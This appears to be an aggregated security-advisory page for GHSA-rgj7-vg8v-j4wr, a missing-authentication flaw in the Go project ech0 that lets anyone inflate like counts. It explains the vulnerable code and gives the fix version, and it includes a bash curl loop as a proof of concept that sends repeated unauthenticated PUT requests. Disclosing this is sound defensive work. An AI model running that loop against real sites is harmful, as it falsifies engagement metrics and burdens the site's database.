GHSA-rgj7-vg8v-j4wr: Github.com/lin snow/ech0 Ech0's Unauthenticated Like Endpoint Enables Vulnerability

MODERATE
CVSS 5.3
CWE-306 CWE-862
Published
Advisory Summary

GHSA-rgj7-vg8v-j4wr is a MODERATE (CVSS 5.3) ech0's unauthenticated like endpoint enables vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Github.com/lin snow/ech0 libraries in the Go ecosystem. The issue involves ech0's unauthenticated like endpoint enables arbitrary engagement metric inflation. Remediation is available by upgrading affected packages to version 1.4.8-0.20260503040728-a7e8b8e84bd1.

GHSA-rgj7-vg8v-j4wr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-rgj7-vg8v-j4wr
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Github.com/lin snow/ech0
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-rgj7-vg8v-j4wr

To remediate this vulnerability, upgrade all affected Github.com/lin snow/ech0 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/ech0 fixed: 1.4.8-0.20260503040728-a7e8b8e84bd1
Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260503040728-a7e8b8e84bd1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/ech0

How to Check if You Are Affected

To determine whether your application is affected by GHSA-rgj7-vg8v-j4wr, inspect your project dependencies for Github.com/lin snow/ech0:

inspect dependencies for github.com/lin-snow/ech0

Analyze the terminal output to locate any version of Github.com/lin snow/ech0 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260503040728-a7e8b8e84bd1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Github.com/lin snow/ech0, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary **No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests. ### Description **Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding. **Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users. **Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly. ### Affected files | Public route registration | `internal/router/echo.go` | | Like mutation (no auth check) | `internal/service/echo/echo.go` | | Handler | `internal/handler/echo/echo.go` | ### Vulnerable / relevant code **Public PUT route:** ```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags()) ``` **Service does not use viewer / rate limit:** ```244:248:Ech0/internal/service/echo/echo.go func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error { return echoService.transactor.Run(ctx, func(txCtx context.Context) error { return echoService.echoRepository.LikeEcho(txCtx, id) }) } ``` ### Execution flow 1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI). 2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header. 3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**. 4. Repeat N times → count increases by N. ### Proof of concept ```bash BASE="http://127.0.0.1:6277" OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data') ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \ -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id') # Single unauthenticated like curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" # Inflate (e.g. 55 times); expect HTTP 200 each time for i in $(seq 1 55); do curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID" done # Observe fav_count curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}' ``` **Observed proof (manual test):** - Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`). - **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**. <img width="1109" height="188" alt="Screenshot 2026-04-01 105522" src="https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c" /> ### Impact **Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale. **Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests. ## Remediation Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.

GHSA-rgj7-vg8v-j4wr Affected Github.com/lin snow/ech0 Versions

1 component(s)
Fixed Versions:
1.4.8-0.20260503040728-a7e8b8e84bd1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/ech0
Go
< 1.4.8-0.20260503040728-a7e8b8e84bd1
1.4.8-0.20260503040728-a7e8b8e84bd1

References

Frequently Asked Questions

What is GHSA-rgj7-vg8v-j4wr?
GHSA-rgj7-vg8v-j4wr is a security vulnerability in Github.com/lin snow/ech0 involving Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation under CWE-306: Missing Authentication for Critical Function.
Which Github.com/lin snow/ech0 versions are affected?
Affected versions include releases prior to 1.4.8-0.20260503040728-a7e8b8e84bd1 across affected packages: github.com/lin-snow/ech0.
What version fixes GHSA-rgj7-vg8v-j4wr?
Upgrading to 1.4.8-0.20260503040728-a7e8b8e84bd1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/ech0 affected?
Yes, github.com/lin-snow/ech0 is affected in releases prior to 1.4.8-0.20260503040728-a7e8b8e84bd1. Upgrade your dependency to 1.4.8-0.20260503040728-a7e8b8e84bd1 or later.
What is the CVSS score of GHSA-rgj7-vg8v-j4wr?
GHSA-rgj7-vg8v-j4wr has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N.
What CWE is associated with GHSA-rgj7-vg8v-j4wr?
GHSA-rgj7-vg8v-j4wr is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check Go dependencies for GHSA-rgj7-vg8v-j4wr?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rgj7-vg8v-j4wr",
  "modified" : "2026-05-07T21:21:21Z",
  "published" : "2026-05-07T21:21:21Z",
  "aliases" : [ ],
  "summary" : "Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation",
  "details" : "### Summary\n\n**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.\n\n### Description\n\n**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding.\n\n**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.\n\n**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly.\n\n### Affected files\n\n| Public route registration | `internal/router/echo.go` |\n| Like mutation (no auth check) | `internal/service/echo/echo.go` |\n| Handler | `internal/handler/echo/echo.go` |\n\n### Vulnerable / relevant code\n\n**Public PUT route:**\n\n```11:13:Ech0/internal/router/echo.go\n\t// Public\n\tappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n\tappRouterGroup.PublicRouterGroup.GET(\"/tags\", h.EchoHandler.GetAllTags())\n```\n\n**Service does not use viewer / rate limit:**\n\n```244:248:Ech0/internal/service/echo/echo.go\nfunc (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {\n\treturn echoService.transactor.Run(ctx, func(txCtx context.Context) error {\n\t\treturn echoService.echoRepository.LikeEcho(txCtx, id)\n\t})\n}\n```\n\n### Execution flow\n\n1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).\n2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.\n3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**.\n4. Repeat N times → count increases by N.\n\n### Proof of concept\n\n```bash\nBASE=\"http://127.0.0.1:6277\"\n\nOWNER_TOKEN=$(curl -sS -X POST \"$BASE/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"owner\",\"password\":\"OwnerPass123\"}' | jq -r '.data')\n\nECHO_ID=$(curl -sS \"$BASE/api/echo/page?page=1&page_size=1\" \\\n  -H \"Authorization: Bearer $OWNER_TOKEN\" | jq -r '.data.items[0].id')\n\n# Single unauthenticated like\ncurl -sS -w \"\\nHTTP:%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\n\n# Inflate (e.g. 55 times); expect HTTP 200 each time\nfor i in $(seq 1 55); do\n  curl -sS -o /dev/null -w \"%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\ndone\n\n# Observe fav_count\ncurl -sS \"$BASE/api/echo/$ECHO_ID\" | jq '.data | {id, fav_count}'\n```\n\n**Observed proof (manual test):**\n\n- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`).\n- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.\n<img width=\"1109\" height=\"188\" alt=\"Screenshot 2026-04-01 105522\" src=\"https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c\" />\n\n\n### Impact\n\n**Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. \nhigh-volume loops add DB write load; possible abuse against availability at scale. \n\n**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.\n\n## Remediation \n Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.8-0.20260503040728-a7e8b8e84bd1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-rgj7-vg8v-j4wr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T21:21:21Z",
    "nvd_published_at" : null
  }
}